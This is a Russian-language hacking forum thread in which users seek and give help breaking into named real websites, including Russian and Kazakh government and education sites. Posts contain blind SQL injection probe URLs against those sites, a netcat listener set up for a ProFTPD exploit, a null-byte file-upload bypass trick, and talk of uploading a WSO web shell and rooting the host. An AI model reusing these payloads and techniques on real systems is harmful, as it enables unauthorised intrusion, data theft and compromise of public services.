Ваши вопросы по уязвимостям.

Привет, нашел в сервер
220 ProFTPD 1.3.2e Server (ProFTPD)
Система UNIX, ну вот ехploit нашел такой www.exploit-db.com/exploits/15449/
У меня ест ТП-Линк - я там поставил виртуал сервер
ID Service Ports IP Address Protocol Status
1 45295 192.168.1.100 ALL Enabled
чтобы работала порт, тогда с netcat открыл тот порт через cmd.

C:\nc>nc -lvp 45295
listening on [any] 45295 ...

ладно тогда открываю новы cmd и запускаю перл ехплоит.
Ничего не происходит, я все сделал правильна? Если я чекаю тот порт например, тогда он закрывается, показывает кто чекал.
Если все сделал правильно тогда проста там все ок?

 

первое что попалось - http://www.youtube.com/watch?v=k9xe55gq2fc
уверен, на ачате есть еще способы, стоит только посмотреть внимательней

как вариант можно крутить как слепую инъекцию

Code:

http://www.edu.ru/index.php?page_id=50&op=word&wid=509+and+substring%28version%28%29,1,1%29=5--+

 

на слепую ругаеться, видимо слишком длинные запросы не проходят.

 

Code:

http://forum.prodom.ru/viewtopic.php?p=3805'

не выходит раскрутить.

 

http://forum.prodom.ru/viewtopic.php?p=3805/**/and/**/1=1/* true
http://forum.prodom.ru/viewtopic.php?p=3805/**/and/**/1=0/* true

Думаю нет скульи.

 

www.ctgroup.kz/?op=mi=node_2566=,view_2599
дальше одного столбца не продвинулся что не так?

 

Там нет инъекции.

 

nemaniak, нереально.

PHP:

strrchr(${'name'.$i.'_name'},".")==".doc"

strrchr берет все после точки. Eсли будет shell.php%00.jpg, shell.php.jpg, то на проверку идет:
php%00.jpg
php.jpg
И проверку не пройдет. Как то так.

HAXTA4OK,
http://www.ctgroup.kz/?op=mi=node_2566=,view_2599+and+1=1 false
http://www.ctgroup.kz/?op=mi=node_2566=,view_2599+and+1=0 false
не?

 

HAXTA4OK,
спасибо, незнал. А почему:
http://www.ctgroup.kz/?op=mi=node_2744' and substring(version(),1,1)>1+--+=,view_2599
false? Не могу понять...


P.S. Думаю на фильтры... Хотя... нет.

 

Нужно копать в сторону второго запроса

Вывод где-то рядом

На самой странице результаты могут быть не видны. Ищите в исходнике по тексту

PHP:

<script>$(".l").hide(1);</script>

 

Всем хай, вот не могоу раскрутить скулу, вобще возможно ли провести тут sqli или нет если да то каким запросом.
http://www.mk.gov.kz/?lang=kaz&id_open_rubric=806'

 

у меня есть шансы на заливку?

2Ereee, ну да, только как

 

anonym_di,
фильтры фильтры...

faza02,
шансы всегда есть =)

 

на этом сервере еще есть сайты, стоит их копать, или конфиг везде такой будет?

 

Везде такой. WSO будет нормально пахать, правда не порутаешь.

 

хорошо, спасибо.
а какие еще функции есть, которые не выключены, и через которые можно залить?